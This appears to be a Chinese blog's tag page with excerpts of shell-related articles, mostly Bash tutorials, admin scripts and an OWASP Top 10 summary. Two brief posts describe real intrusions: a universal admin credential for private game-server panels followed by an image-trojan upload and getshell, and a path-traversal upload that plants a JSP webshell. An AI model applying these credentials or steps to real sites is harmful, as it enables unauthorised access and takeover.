网站首页 包含标签 shell 的所有文章

  • Linux系统shell中那些特殊变量

    在Shell脚本中,$符号有多种含义,它通常用于表示变量、特殊变量或参数,今天介绍几个特殊的变量。 $0表示shell脚本文件本身 $1 ~ $n脚本的位置参数,表示脚本或函数的参数。例如,$1表示第一个参数,$2表示第二个参数,依此类推 $#传递给脚本或函数的参数个数 $@传递给脚本或函数的所有参数的列表,每个参数是一个独立的单词 $?表示上一个命令的退出状态,如果为0表示成功,非零值表示失败 $$表示当前脚本或进程的进程ID $!表示后台运行的最后一个进程的进程ID $*表示所有传递给脚本的参数列表(位置参数),并将它们作为一个单词显示 $-用于显示当前Shell的选项设置 当运行 echo $- 时,它会输出一个包含不同字母的字符串 # echo $- himBH 每个字母的含义如下: h: 启用hash命令功能,用于记住命令的路径,以加快命令的查找速度。 i: 启用Shell的交互模式。 m: 启用作业控制的多用户模式。 B: 启用通知作业完成状态的功能。 H: 启用Shell历史功能。 因此,himBH 表示这个Shell当前启用了 hash、交互模式、多用户模式、作业状态通知和历史功能。 这些选项可以根据脚本或Shell的需要进行配置 注意:$* 和 $@ 在大多数情况下表现相似,但在处理引号时有一些关键的区别。 [root@localhost]# cat b.sh && bash b.sh # 使用 "$*" 和 "$@" set -- "arg1" "arg2 with space" "arg3" echo 'Using "$*"' for arg in "$*"; do echo $arg done echo 'Using "$@"' for arg in "$@"; do echo $arg done Using "$*" arg1 arg2 with space arg3 Using "$@" arg1 arg2 with space arg3 在"$*"中,所有参数被当作单个字符串,参数之间用第一个字符(默认是空格)分隔。而在"$@"中,每个参数都被当作独立的字符串。 在实际使用中,如果希望参数原封不动的传递出去,可能更适合使用"$@",它以类似数组的方式表示传递给脚本的所有参数。 ...

    2023-11-13 210
  • Linux运维常用帮助命令详解

    1.1 命令类型 命令类型有:alias(别名)、keyword(关键字,shell保留字)、function(函数,shell函数)、builtin(内部命令,shell内部命令)、file(文件,磁盘文件,外部命令)、unfound(没有找到) 1.1.1 type命令 #语法格式:type [-afptP] name [name ...] # 选项: -t 根据name的类型返回一个单词(别名,关键字,函数,内建,文件),否则返回空值 -p 如果给出的指令为外部指令,则显示其绝对路径 -a 在环境变量“PATH”指定的路径中,显示给定指令的信息,包括命令别名 #作用:用来显示指定命令的类型,判断给出的指令是内部指令还是外部指令 #示例: # type -t cd # 判断cd指令是内部指令还是外部指令 # type -t sh # 判断sh指令是内部指令还是外部指令 1.2 命令帮助 help命令只能显示shell内部命令的帮助信息,对于外部命令的帮助信息可以使用man命令或info命令或命令 –help方式 1.2.1 help命令 #语法格式:help [-dms] [pattern ...] # 选项: -d 输出每个主题的简短描述 -m 以 man 手册的格式显示使用方法 -s 为每一个匹配 PATTERN 模式的主题仅显示一个用法 #作用:用于显示shell内部命令的帮助信息 #示例: # help -m help # 显示help命令帮助信息 # help -m cd # 显示cd命令帮助信息 1.2.2 –help参数 #语法格式:<command> --help #作用:显示外部命令帮助信息 # 示例: # sh --help # 显示sh命令帮助信息 1.2.3 man命令 #语法格式:man [option] <command> #选项: -a 在所有的man帮助手册中搜索 -f 显示给定关键字的简短描述信息 -p 指定内容时使用分页程序 -w 显示文件所在位置 #作用:查看Linux中的指令帮助、配置文件帮助和编程帮助等信息 #示例: # man mv # 查看mv命令帮助信息 1.2.4 info命令 #语法格式:info [option] <command> #作用:查看Linux指令帮助信息 #示例: # info mv # 查看mv命令帮助信息 1.2.5 whatis命令 #语法格式:whatis [option] <command> #作用:查看常用命令简介信息 #示例: # whatis pwd # 查看pwd命令简介信息 </div> ...

    2023-10-10 198
  • Bash脚本编程入门

    Shell 是 Linux 的核心部分,它允许你使用各种诸如 cd、ls、cat等的命令与 Linux 内核进行交互。 Bash 是 Linux 上众多可用的 Shell 中的一个。这些 Shell 主要的语法基本相同,但并非完全一样。Bash 是目前最受欢迎的 Shell,并在大多数 Linux 发行版中被设为默认 Shell。 当你打开一个终端或 SSH 会话时,即使你无法真切地看到它,你其实已经在运行着一个 Shell。 当你输入一个命令,它会被 Shell 解释。如果命令和语法是正确的,它就会被执行,否则你会看到一个错误。 当你可以直接运行 Linux 命令时,为什么还需要 Bash 脚本? 你可以直接在终端输入命令,它们就会被执行。 $ echo "hello world" hello world 并且,同样的操作也可以在脚本中进行: $ cat >> script.sh #!/bin/bash echo "hello world" $ bash script.sh hello world 那么,为什么我们需要 Shell 脚本呢?因为你不必一遍又一遍地输入同一个命令,你只需运行 Shell 脚本即可。 此外,如果你的脚本中有复杂的逻辑,把所有的命令都输入到终端中可能并不是一个好主意。 例如,如果你输入下面的命令,它会奏效,但这并不容易理解。不断地输入相同的命令(甚至要在 Bash 历史记录中搜索)会造成困扰。 if [ $(whoami) = 'root' ]; then echo "root"; else echo "not root"; fi 相反,你可以把命令放进 shell 脚本中,这样就更容易理解并且可以轻松运行了: #!/bin/bash if [ $(whoami) = 'root' ]; then echo "You are root" else echo "You are not root" fi 这还是比较简单的情况。尝试想象一下,一个复杂的脚本可能有五十行或一百行! 你将会学到什么? 在这个 Bash 脚本教程中,有九个部分。你将会学到: 创建并运行你的第一个 Bash Shell 脚本 使用变量 在你的 Bash 脚本中传递参数和接受用户输入 进行数学计算 操作字符串 使用条件语句,例如 if-else 使用 for、while和until循环 创建函数 ? 所有的部分都会给你一个简单的例子。如果你愿意,你可以通过访问每个部分的详细章节来更深入地学习。这些章节也都包含了实践练习。 这个教程的目标读者是谁? 这个教程适合任何想要开始学习 Bash Shell 脚本的人。 如果你是一名学生,而你的课程里包括了 Shell 脚本,那么这个系列就是为你准备的。 如果你是一个常规的桌面 Linux 用户,这个系列将会帮助你理解在探索各种软件和修复问题时遇到的大多数 Shell 脚本。你也可以使用它来自动化一些常见的、重复的任务。 在这个 Bash 脚本教程结束时,你应该可以编写简单的 Bash 脚本。 ? 希望你已经拥有 Linux 命令行和编程语言的基础知识。 如果你对 Linux 命令行完全不熟悉,我建议你先掌握基础知识。 19 个你应该知道的基础而重要的 Linux 终端技巧 你应该了解如何在命令行中进入特定的位置。为了做到这一点,你需要理解 Linux 文件系统中的路径是如何工作的。 Linux 中的绝对路径和相对路径有什么不同 接下来,这个教程系列会给你介绍目录导航和文件操作的基本知识。 终端基础:Linux 终端入门 1、编写你的第一个 Bash Shell 脚本 创建一个名为 hello.sh的新文件: nano hello.sh 这将在终端中打开 nano 编辑器。在其中输入以下几行代码: #!/bin/bash echo "Hello World" 通过按 Ctrl+X键可以保存并退出 nano 编辑器。 现在,你可以以以下方式运行 Bash Shell 脚本: bash hello.sh 你应该可以看到以下的输出: Hello World 另一种方式是首先赋予脚本执行权限: chmod u+x hello.sh 然后这样运行它: ./hello.sh ? 你也可以使用基于图形用户界面的文本编辑器来编写脚本。这可能更适合编写较长的脚本。然而,你需要切换到保存脚本的目录中才能运行它。 恭喜!你刚刚运行了你的第一个 Bash 脚本。 Bash 基础知识系列 #1:创建并运行你的第一个 Bash Shell 脚本 2、在 Bash 脚本中使用变量 变量的声明方式如下: var=some_value 然后可以像这样访问变量: $var ? 在声明变量时,等号(=)前后不能有空格。 我们通过添加一个变量来修改前面的脚本。 #!/bin/bash message="Hello World" echo $message 如果运行这个脚本,输出仍然会保持不变。 Hello World Bash 基础知识系列 #2:在 Bash 中使用变量 3、向 Bash 脚本传递参数 你可以在运行 Bash 脚本时以以下方式传递参数: ./my_script.sh arg1 arg2 在脚本中,你可以使用 $1来代表第 1 个参数,用$2来代表第 2 个参数,以此类推。$0是一个特殊变量,它代表正在运行的脚本的名字。 现在,创建一个新的 shell 脚本,命名为 arguments.sh,并向其中添加以下几行代码: #!/bin/bash echo "Script name is: $0" echo "First argument is: $1" echo "Second argument is: $2" 使其可执行并像这样运行它: $ ./argument.sh abhishek prakash Script name is: ./argument.sh First argument is: abhishek Second argument is: prakash 让我们快速看一下特殊变量: 特殊变量 描述 $0 脚本名称 $1、$2…$9 脚本参数 ${n} 10 到 255 的脚本参数 $# 参数数量 $@ 所有参数一起 $$ 当前 shell 的进程 id $! 最后执行命令的进程 id $? 最后执行命令的退出状态 你也可以通过接受键盘输入使你的 Bash 脚本变得交互式。 为此,你必须使用 read命令。你还可以使用read -p命令提示用户进行键盘输入,而不需要echo命令。 #!/bin/bash echo "What is your name, stranger?" read name read -p "What's your full name, $name? " full_name echo "Welcome, $full_name" 现在,如果你运行这个脚本,当系统提示你输入“参数”时,你必须输入。 $ ./argument.sh What is your name, stranger? abhishek What's your full name, abhishek? abhishek prakash Welcome, abhishek prakash Bash 基础知识系列 #3:传递参数和接受用户输入 4、执行算术运算 在 Bash Shell 中执行算术运算的语法是这样的: $((arithmetic_operation)) 下面是你可以在 Bash 中执行的算术运算的列表: 操作符 描述 + 加法 - 减法 * 乘法 / 整数除法(没有小数) % 模运算(只余) ** 指数(a 的 b 次方) 以下是在 Bash 脚本中进行加法和减法的示例: #!/bin/bash read -p "Enter first number: " num1 read -p "Enter second number: " num2 sum=$(($num1+$num2)) sub=$(($num1-$num2)) echo "The summation of $num1 and $num2 is $sum" echo "The substraction of $num2 from $num1 is $sub" 你可以执行 Shell 脚本,使用你选择的任意数字作为参数。 如果你尝试除法,会出现一个大问题。Bash 只使用整数。默认情况下,它没有小数的概念。因此,你会得到 10/3 的结果为3,而不是 3.333。 对于浮点数运算,你需要这样使用 bc命令: #!/bin/bash num1=50 num2=6 result=$(echo "$num1/$num2" | bc -l) echo "The result is $result" 这个时候,你将看到准确的结果。 The result is 8.33333333333333333333 Bash 基础知识系列 #4:算术运算 5、在 Bash 脚本中使用数组 你可以使用 Bash 中的数组来存储同一类别的值,而不是使用多个变量。 你可以像这样声明一个数组: distros=(Ubuntu Fedora SUSE "Arch Linux" Nix) 要访问一个元素,使用: ${array_name[N]} 像大多数其他的编程语言一样,数组的索引从 0 开始。 你可以像这样显示数组的所有元素: ${array[*]} 这样获取数组长度: ${#array_name[@]} Bash 基础知识系列 #5:在 Bash 中使用数组 6、Bash 中的基础字符串操作 Bash 能够执行许多字符串操作。 你可以使用这种方式获取字符串长度: ${#string} 连接两个字符串: str3=$str1$str2 提供子字符串的起始位置和长度来提取子字符串: ${string:$pos:$len} 这里有一个例子: 你也可以替换给定字符串的一部分: ${string/substr1/substr2} 并且你也可以从给定字符串中删除一个子字符串: ${string/substring} Bash 基础知识系列 #6:处理字符串操作 7、在 Bash 中使用条件语句 你可以通过使用 if或if-else语句为你的 Bash 脚本添加条件逻辑。这些语句以fi结束。 单个 if语句的语法是: if [ condition ]; then your code fi 注意使用 [ ... ];和then。 if-else语句的语法是: if [ expression ]; then ## execute this block if condition is true else go to next elif [ expression ]; then ## execute this block if condition is true else go to next else ## if none of the above conditions are true, execute this block fi 这里有一个使用 if-else语句的 Bash 脚本示例: #!/bin/bash read -p "Enter the number: " num mod=$(($num%2)) if [ $mod -eq 0 ]; then echo "Number $num is even" else echo "Number $num is odd" fi 运行它,你应该能看到这样的结果: -eq被称为测试条件或条件操作符。有许多这样的操作符可以给你不同类型的比较: 这些是你可以用来进行数值比较的测试条件操作符: 条件 当…时,等同于 true $a -lt $b $a ($a是小于$b) $a -gt $b $a > $b($a是大于$b) $a -le $b $a ($a是小于或等于$b) $a -ge $b $a >= $b($a是大于或等于$b) $a -eq $b $a == $b($a等于$b) $a -ne $b $a != $b($a不等于$b) 如果你在进行字符串比较,你可以使用以下这些测试条件: 条件 当…时,等同于 true "$a" = "$b" $a等同于$b "$a" == "$b" $a等同于$b "$a" != "$b" $a不同于$b -z "$a" $a是空的 还有些条件用于检查文件类型: 条件 当…时,等同于 true -f $a $a是一个文件 -d $a $a是一个目录 -L $a $a是一个链接 ? 要特别注意空格。开括号和闭括号、条件之间必须有空格。同样地,条件操作符(-le、==等)之前和之后必须有空格。 Bash 基础知识系列 #7:If-Else 语句 8、使用 Bash 脚本中的循环 Bash 支持三种类型的循环:for、while和until。 这是 for循环的一个例子: #!/bin/bash for num in {1..10}; do echo $num done 运行它,你将看到以下输出: 1 2 3 4 5 6 7 8 9 10 如果你选择使用上面的示例,可以使用 while循环这样重写: #!/bin/bash num=1 while [ $num -le 10 ]; do echo $num num=$(($num+1)) done 同样,可以使用 until循环来重写: #!/bin/bash num=1 until [ $num -gt 10 ]; do echo $num num=$(($num+1)) done ? while循环和until循环非常相似。区别在于:while循环在条件为真时运行,而until循环在条件为假时运行。 Bash 基础知识系列 #8:For、While 和 Until 循环 9、在 Bash 脚本中使用函数 Bash Shell 支持使用函数,这样你不必反复编写相同的代码片段。 这是声明 Bash 函数的通用语法: function_name { commands } 这是一个使用带参数的函数的 Bash 脚本样例: #!/bin/bash sum { sum=$(($1+$2)) echo "The sum of $1 and $2 is: $sum" } echo "Let's use the sum function" sum 1 5 如果你运行该脚本,你将看到以下输出: Let's use the sum function The sum of 1 and 5 is: 6 Bash 基础知识系列 #9:Bash 中的函数 接下来呢? 这只是一个初窥。这个 Bash 脚本教程只是一篇引言。Bash 脚本的内容还有很多,你可以慢慢地、逐渐地探索。 GNU Bash 参考是一份优秀的在线资源,可以解答你的 Bash 疑问。 GNU Bash 参考 除此之外,你可以下载这本免费书籍来学习更多在此未涵盖的 Bash 内容: 下载 Bash 初学者指南 一旦你具有足够的 Bash 基础知识,你可以通过这本免费书籍来学习高级 Bash 脚本: 下载高级 Bash 编程指南 这两本书至少都有十年的历史,但你仍然可以使用它们来学习 Bash。 ...

    2023-08-23 184
  • 私服通用0Day复现getshell

    看了个私服站,网上搜下漏洞,还真有day,但是没有写getshell方法,我复现看看吧 后台地址:http://url/admin 一个通用的万能账号弱口令: 账号是 lu123 密码 cui123 利用day成功进入后台 传个图片马,然后有个数据库,直接备份数据库,getshell到手 ...

    2022-11-24 326
  • 可控文件拿shell

    挖洞的时候遇到一个平台 爆破进入后台 下一步肯定是找上传点然后拿shell是吧 确定上传 java站,改成jsp后缀试试 好,可以发现并不是filename控制文件后缀 那估计是str控制了 访问 http:/XXX.XXX/wb/upload/7D4B487AFAC49B42E472A8AB1D60D702.jsp 直接下载。。(一般遇到这种情况就放弃了) 再观察一下请求包 是不是能控制文件名 果然可以,能控制文件名是不是就可以跨目录了 http://xxx.xxx/wb/upload/../../test.jsp 等于http://xxx.xxx/test.jsp 尝试连接 直接administrator权限 ...

    2022-11-21 304
  • 2021 OWASP十大应用安全风险

    2021年的Top 10 里出现了3个新主题、4个命名与范围发生变化的主题,此外还进行了一些合并。 A01 :越权访问(2021-Broken Access Control) 从2017年的第5位上升至第1位。超过94%的app都经历过某种形式的越权访问控制测试。对应到越权访问有34个CWE,比任何其它在app中出现的主题次数都多。  A02:加密失败(2021-Cryptographic Failures ) 较2017年相比上升1位至第2位。以前被称为敏感数据公开(Sensitive Data Exposure),但只是一种基本症状表现,并不是根本原因。最新版OWASP重新聚焦于与密码学相关的缺陷,这些缺陷通常会导致敏感数据公开或系统受损。  A03:注入(2021-Injection) 较2017版相比下滑至第3位。超过94% 的app都针对各种形式的注入进行了测试。对应到注入有33 个CWE,在app中出现的次数位列第二。跨站脚本攻击(XSS)目前属于现版本中注入的一部分。  A04:不安全设计(2021-Insecure Design) 2021年Top 10的新主题,重点关注了与设计缺陷相关的风险。如果我们真的想作为一个行业发展,就需要更多地使用威胁模型分析、安全设计模式和原则以及参考架构。  A05:安全性错误配置(2021-Security Misconfiguration) 较前版的第6位相比上升1位。90% 的app都需要经过某种形式的错误配置测试。随着更多转向高度可配置的软件,也就不奇怪为什么这个主题排名能够上升了。之前的XXE主题现在也属于A05类别。  A06:易受攻击与过时组件(2021-Vulnerable and Outdated Components) 前版名称是“应用已知漏洞组件”(Known Vulnerabilities),在行业调查中位列第2,并有足够的数据通过数据分析进入Top 10排名。该类别从 2017 年的第9位上升,是一个难以测试和评估风险的已知问题。这是唯一没有任何CVE可以对应到已归结CWE的主题,因此以默认的利用和影响权重5.0计入评分标准。  A07:身份验证与认证失败(2021-Identification and Authentication Failures) 以前称为错误认证(Broken Authentication),从第2位下滑至第7位。现在包括与识别失败更多相关的 CWE。有着标准化框架可用性增加的帮助,该主题仍然是前10的一个组成部分。  A08:软件和数据完整性故障(2021-Software and Data Integrity Failures) 2021 年的一个新主题,着眼于在不验证完整性的情况下,做出与软件更新、关键数据和 CI/CD 管道相关的假设。CVE/CVSS 数据中最高加权影响之一可以对应到A08中的10个CWE。2017年的不安全反序列化(Insecure Deserialization) 现属于A08的一部分。  A09:安全日志记录和监控失败(2021- Security Logging and Monitoring Failures) 以前被称为日志记录和监控不足( Insufficient Logging &Monitoring )。是从行业调查第3位中添加的,从之前的第10位上升。A09被扩大成为一个能够包含更多故障类型的主题,对于我们进行测试有一定的挑战性,而且在 CVE/CVSS 数据中也没有很好的表现。但是,A09类故障会直接影响到可见(visibility)、事件警报(incident alerting)和取证(forensics)的准确性。  A10:服务器端请求伪造(2021-Server-Side Request Forgery) A10是直接从行业调查第1位中添加的。数据显示,在高于平均水平的测试里,A10的发生率相对较低,但Exploit和潜在的Impact都高于平均水平。这也正表示了行业专业人士在告诉我们,就算目前数据中没有显示出来,服务器请求伪造还是很重要的事实。  评选方式 新版Top 10的评选比以前都看重数据,但并非盲目受数据影响。OWASP从各方贡献的数据中选择了10个主题中的8个,然后从高水平行业调查中选择了剩下的2个。这样做的根本原因是,查看贡献的数据就等于是回顾过去。AppSec研究人员花了大量时间去寻找新的漏洞和测试它们的新方法,但将这些测试运用到实际工具和流程中还需要等待一段时间。等到能够可靠地进行大规模测试时,时间可能已经过去了很久。为了平衡这点,就应该将行业调查利用起来。去询问专业的一线人员,关于他们所发现的可能还尚未在数据中显示出来的漏洞。 这就是OWASP采用的为了使Top 10变得更加成熟的关键变化措施。  怎样归纳出各个主题? 与上一期OWASP Top 10相比,一些主题发生了改变。以下是关于主题变更的高级摘要。以前的数据收集工作集中在大约 30 个CWE的规定子集上,并要求有1个额外发现的领域。OWASP了解到,组织将主要关注那 30 个 CWE,很少添加他们看到的其它CWE。本次迭代中OWASP完全抱着开放心态,只询问数据,对CWE没有设置任何限制。他们查询了从 2017 年开始测试的应用程序数量,以及在测试中发现至少一个 CWE实例的应用程序数量。这种形式使OWASP能够跟踪每个CWE在应用程序群体中的活跃程度。应用程序有4个CWE实例还是4000个实例,都不是影响进入Top 10的因素。在大约30个CWE到近400个CWE的跨度下,对数据集中进行了分析。未来将计划做额外的数据分析作为补充。这种在CWE数量需求上的增加会影响到提炼、归纳主题的方式。 OWASP用了好几个月的时间对 CWE 进行分组和分类,本需要再多花几个月,但他们不得不停下来。CWE可以分为“根本原因(root cause)”和“症状表现(symptom type)”类型,其中根本原因类型如“加密失败”和“错误配置”,可以和“敏感数据暴露”和“拒绝服务”等症状表现类型形成对比。OWASP决定尽可能关注根本原因,因为在提供识别和补救建议方面,根本原因更加重要。关注根本原因而不是症状表现,这并不是一个新概念。Top 10便是症状表现和根本原因的混合体,CWE也同样是症状表现和根本原因的混合体。现版本中每个类别平均有 19.6 个 CWE,A10:2021-服务器端请求伪造(SSRF) 的下限为 1 个 CWE,而 A04:2021-不安全设计中的 CWE 下限为 40 个。现版本更新的归纳法其实提供了额外的培训好处,比方公司可以专注于对语言/框架有意义的 CWE。  在归纳过程中,我们如何使用数据? 2017年,OWASP根据事件发生概率来挑选各种主题,然后通过团队讨论,根据以往数十年的可利用性(exploitability)、可检测性(Detectability,也是可能性)和技术影响(Technical Impact)这三点来进行了排名。对于 2021 年,OWASP选择将数据用于利用(Exploit)和影响(Impact)的统计。 OWASP下载了OWASP Dependency Check,并提取了按相关CWE分组的CVSS 利用和影响的分数。这需要他们用一段时间去研究,因为所有CVE都有 CVSSv2 分数,但CVSSv2中存在CVSSv3应该解决的缺陷。过了段时间,所有CVE都被标上了CVSSv3 分数,并且CVSSv2与CVSSv3的评分范围和公式也进行了更新。 在 CVSSv2 中,利用和影响最大可以达到 10.0分,但公式会将它们的分数降低,利用只剩60%,影响下降至原本的40%。在CVSSv3 中,利用的理论最大分数限制为 6.0,影响的理论最大分数限制为4.0。考虑到权重,影响的评分在 CVSSv3 中平均上升了近1.5,而利用的评分平均下降了0.5。 OWASP Dependency Check提取的NVD数据中,有125000条CVE对应到CWE的记录,对应到CVE的特殊CWE有241条。62000条 CWE有CVSSv3 分数,大约是数据集数量的一半。 对于Top 10,OWASP按以下方式计算平均利用和影响分数。按CWE将所有有CVSS分数的CVE分组,并通过“有 CVSSv3数量的百分比”+“剩余有CVSSv2 的数量”,对利用和影响进行加权,获得了总体平均值。再将这些平均值对应到数据集中CWE,以用作另一半的风险等式的利用和影响评分。...

    2021-09-13 534
  • webshell菜刀后门分析

    一、WSockExpert,一款对进程抓包的软件 二、打开菜刀,并在WSExplore中找到菜刀进程,右击,打开进程 三、在菜刀中添加一句话木马地址及密码,并连接 四、查看WSExplore,会发现两条可疑的数据包,地址和其他的不一样,提交信息中也有一句话木马地址和密码 ...

    2021-07-01 683
  • 23 个非常实用的 Shell 拿来就用脚本实例

    为大家整理了23个实例,通过23个实战经典脚本实例,展示了shell脚本编程的实用技术和常见工具用法。大家只需根据自己的需求,将文中这些常见任务和可移植自动化脚本推广应用到其他类似问题上,能解决那些三天两头碰上的麻烦事。 检测两台服务器指定目录下的文件一致性 #!/bin/bash ##################################### #检测两台服务器指定目录下的文件一致性 ##################################### #通过对比两台服务器上文件的md5值,达到检测一致性的目的 dir=/data/web b_ip=192.168.88.10 #将指定目录下的文件全部遍历出来并作为md5sum命令的参数,进而得到所有文件的md5值,并写入到指定文件中 find $dir -type f|xargs md5sum > /tmp/md5_a.txt ssh $b_ip "find $dir -type f|xargs md5sum > /tmp/md5_b.txt" scp $b_ip:/tmp/md5_b.txt /tmp #将文件名作为遍历对象进行一一比对 for f in `awk '{print 2} /tmp/md5_a.txt'` do #以a机器为标准,当b机器不存在遍历对象中的文件时直接输出不存在的结果 if grep -qw "$f" /tmp/md5_b.txt then md5_a=`grep -w "$f" /tmp/md5_a.txt|awk '{print 1}'` md5_b=`grep -w "$f" /tmp/md5_b.txt|awk '{print 1}'` #当文件存在时,如果md5值不一致则输出文件改变的结果 if [ $md5_a != $md5_b ] then echo "$f changed." fi else echo "$f deleted." fi done 定时清空文件内容,定时记录文件大小 #!/bin/bash ################################################################ #每小时执行一次脚本(任务计划),当时间为0点或12点时,将目标目录下的所有文件内 #容清空,但不删除文件,其他时间则只统计各个文件的大小,一个文件一行,输出到以时#间和日期命名的文件中,需要考虑目标目录下二级、三级等子目录的文件 ################################################################ logfile=/tmp/`date +%H-%F`.log n=`date +%H` if [ $n -eq 00 ] || [ $n -eq 12 ] then #通过for循环,以find命令作为遍历条件,将目标目录下的所有文件进行遍历并做相应操作 for i in `find /data/log/ -type f` do true > $i done else for i in `find /data/log/ -type f` do du -sh $i >> $logfile done fi 检测网卡流量,并按规定格式记录在日志中 #!/bin/bash ####################################################### #检测网卡流量,并按规定格式记录在日志中 #规定一分钟记录一次 #日志格式如下所示: #2019-08-12 20:40 #ens33 input: 1234bps #ens33 output: 1235bps ######################################################3 while : do #设置语言为英文,保障输出结果是英文,否则会出现bug LANG=en logfile=/tmp/`date +%d`.log #将下面执行的命令结果输出重定向到logfile日志中 exec >> $logfile date +"%F %H:%M" #sar命令统计的流量单位为kb/s,日志格式为bps,因此要*1000*8 sar -n DEV 1 59|grep Average|grep ens33|awk '{print $2,"\t","input:","\t",$5*1000*8,"bps","\n",$2,"\t","output:","\t",$6*1000*8,"bps"}' echo "####################" #因为执行sar命令需要59秒,因此不需要sleep done 计算文档每行出现的数字个数,并计算整个文档的数字总数 #!/bin/bash ######################################################### #计算文档每行出现的数字个数,并计算整个文档的数字总数 ######################################################## #使用awk只输出文档行数(截取第一段) n=`wc -l a.txt|awk '{print $1}'` sum=0 #文档中每一行可能存在空格,因此不能直接用文档内容进行遍历 for i in `seq 1 $n` do #输出的行用变量表示时,需要用双引号 line=`sed -n "$i"p a.txt` #wc -L选项,统计最长行的长度 n_n=`echo $line|sed s'/[^0-9]//'g|wc -L` echo $n_n sum=$[$sum+$n_n] done echo "sum:$sum" 杀死所有脚本 #!/bin/bash ################################################################ #有一些脚本加入到了cron之中,存在脚本尚未运行完毕又有新任务需要执行的情况, #导致系统负载升高,因此可通过编写脚本,筛选出影响负载的进程一次性全部杀死。 ################################################################ ps aux|grep 指定进程名|grep -v grep|awk '{print $2}'|xargs kill -9 从FTP服务器下载文件 #!/bin/bash if [ $# -ne 1 ]; then     echo "Usage: $0 filename" fi dir=$(dirname $1) file=$(basename $1) ftp -n -v << EOF   # -n 自动登录 open 192.168.1.10  # ftp服务器 user admin password binary   # 设置ftp传输模式为二进制,避免MD5值不同或.tar.gz压缩包格式错误 cd $dir get "$file" EOF 连续输入5个100以内的数字,统计和、最小和最大 #!/bin/bash COUNT=1 SUM=0 MIN=0 MAX=100 while [ $COUNT -le 5 ]; do     read -p "请输入1-10个整数:" INT     if [[ ! $INT =~ ^[0-9]+$ ]]; then         echo "输入必须是整数!"         exit 1     elif [[ $INT -gt 100 ]]; then         echo "输入必须是100以内!"         exit 1     fi     SUM=$(($SUM+$INT))     [ $MIN -lt $INT ] && MIN=$INT     [ $MAX -gt $INT ] && MAX=$INT     let COUNT++ done echo "SUM: $SUM" echo "MIN: $MIN" echo "MAX: $MAX" 用户猜数字 #!/bin/bash  # 脚本生成一个 100 以内的随机数,提示用户猜数字,根据用户的输入,提示用户猜对了,# 猜小了或猜大了,直至用户猜对脚本结束。# RANDOM 为系统自带的系统变量,值为 0‐32767的随机数# 使用取余算法将随机数变为 1‐100 的随机数num=$[RANDOM%100+1]echo "$num" # 使用 read 提示用户猜数字# 使用 if 判断用户猜数字的大小关系:‐eq(等于),‐ne(不等于),‐gt(大于),‐ge(大于等于),# ‐lt(小于),‐le(小于等于)while :do     read -p "计算机生成了一个 1‐100 的随机数,你猜: " cai    if [ $cai -eq $num ]    then        echo "恭喜,猜对了"           exit        elif [ $cai -gt $num ]        then            echo "Oops,猜大了"         else            echo "Oops,猜小了"     fidone 监测Nginx访问日志502情况,并做相应动作 假设服务器环境为lnmp,近期访问经常出现502现象,且502错误在重启php-fpm服务后消失,因此需要编写监控脚本,一旦出现502,则自动重启php-fpm服务。 #场景: #1.访问日志文件的路径:/data/log/access.log #2.脚本死循环,每10秒检测一次,10秒的日志条数为300条,出现502的比例不低于10%(30条)则需要重启php-fpm服务 #3.重启命令为:/etc/init.d/php-fpm restart #!/bin/bash ########################################################### #监测Nginx访问日志502情况,并做相应动作 ########################################################### log=/data/log/access.log N=30 #设定阈值 while : do  #查看访问日志的最新300条,并统计502的次数     err=`tail -n 300 $log |grep -c '502" '`  if [ $err -ge $N ]  then  /etc/init.d/php-fpm restart 2> /dev/null  #设定60s延迟防止脚本bug导致无限重启php-fpm服务      sleep 60  fi  sleep 10 done 将结果分别赋值给变量 应用场景:希望将执行结果或者位置参数赋值给变量,以便后续使用。 方法1: for i in $(echo "4 5 6"); do    eval a$i=$i done echo $a4 $a5 $a6 方法2:将位置参数192.168.1.1{1,2}拆分为到每个变量 num=0 for i in $(eval echo $*);do   #eval将{1,2}分解为1 2    let num+=1    eval node${num}="$i" done echo $node1 $node2 $node3 # bash a.sh 192.168.1.1{1,2} 192.168.1.11 192.168.1.12 方法3: arr=(4 5 6) INDEX1=$(echo ${arr[0]}) INDEX2=$(echo ${arr[1]}) INDEX3=$(echo ${arr[2]}) 批量修改文件名 示例: # touch article_{1..3}.html # ls article_1.html  article_2.html  article_3.html 目的:把article改为bbs 方法1: for file in $(ls *html); do     mv $file bbs_${file#*_}     # mv $file $(echo $file |sed -r 's/.*(_.*)/bbs\1/')     # mv $file $(echo $file |echo bbs_$(cut -d_ -f2) done 方法2: for file in $(find . -maxdepth 1 -name "*html"); do      mv $file bbs_${file#*_} done 方法3: # rename article bbs *.html 把一个文档前五行中包含字母的行删掉,同时删除6到10行包含的所有字母 1)准备测试文件,文件名为2.txt 第1行1234567不包含字母 第2行56789BBBBBB 第3行67890CCCCCCCC 第4行78asdfDDDDDDDDD 第5行123456EEEEEEEE 第6行1234567ASDF 第7行56789ASDF 第8行67890ASDF 第9行78asdfADSF 第10行123456AAAA 第11行67890ASDF 第12行78asdfADSF 第13行123456AAAA 2)脚本如下: #!/bin/bash ############################################################## #把一个文档前五行中包含字母的行删掉,同时删除6到10行包含的所有字母 ############################################################## sed -n '1,5'p 2.txt |sed '/[a-zA-Z]/'d sed -n '6,10'p 2.txt |sed s'/[a-zA-Z]//'g sed -n '11,$'p 2.txt #最终结果只是在屏幕上打印结果,如果想直接更改文件,可将输出结果写入临时文件中,再替换2.txt或者使用-i选项 统计当前目录中以.html结尾的文件总大 方法1: # find . -name "*.html" -exec du -k {} \; |awk '{sum+=$1}END{print sum}' 方法2: for size in $(ls -l *.html |awk '{print $5}'); do     sum=$(($sum+$size)) done echo $sum 扫描主机端口状态 #!/bin/bash HOST=$1 PORT="22 25 80 8080" for PORT in $PORT; do     if echo &>/dev/null > /dev/tcp/$HOST/$PORT; then         echo "$PORT open"     else         echo "$PORT close"     fi done 用shell打印示例语句中字母数小于6的单词 #示例语句: #Bash also interprets a number of multi-character options. #!/bin/bash ############################################################## #shell打印示例语句中字母数小于6的单词 ############################################################## for s in Bash also interprets a number of multi-character options. do  n=`echo $s|wc -c`  if [ $n -lt 6 ]  then  echo $s  fi done 输入数字运行相应命令 #!/bin/bash ############################################################## #输入数字运行相应命令 ############################################################## echo "*cmd menu* 1-date 2-ls 3-who 4-pwd 0-exit " while : do #捕获用户键入值  read -p "please input number :" n  n1=`echo $n|sed s'/[0-9]//'g` #空输入检测   if [ -z "$n" ]  then  continue  fi #非数字输入检测   if [ -n "$n1" ]  then  exit 0  fi  break done case $n in  1)  date  ;;  2)  ls  ;;  3)  who  ;;  4)  pwd  ;;  0)  break  ;;     #输入数字非1-4的提示  *)  echo "please input number is [1-4]" esac 